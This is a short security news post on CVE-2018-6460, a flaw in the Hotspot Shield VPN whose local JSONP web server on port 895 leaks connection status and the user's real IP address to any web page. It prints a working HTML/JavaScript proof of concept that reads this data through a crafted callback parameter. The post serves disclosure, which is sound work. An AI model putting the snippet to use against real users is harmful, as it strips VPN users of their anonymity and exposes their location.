Hotspot Shield exists a flaws that leak your location

by do son · Published February 8, 2018 · Updated October 10, 2021

A vulnerability in the Hotspot Shield could allow an attacker to determine the user’s geographic location and other information. The anonymity of its users may be taken away and placed under the control of government or cybercriminals.

This flaw was found by security researcher Paulos Yibelo.

CVE: CVE-2018-6460

Vulnerability details
The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895.

The web server using JSONP and hosts sensitive information, including, configuration.

User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

Proof of Concept
<head>

<script>

var $_APPLOG = function() { return 1; }

$_APPLOG.Rfunc = function(leak){

    alert(JSON.stringify(leak));

}

</script>

</head>

<script>

    var head = document.getElementsByTagName('head')[0];

    var script = document.createElement('script');

    script.id = 'jsonp';

    script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());

    head.appendChild(script);

</script>
Source: securiteam

Hotspot Shield exists a flaws that leak your location

Search

Brilliantly

Content & Links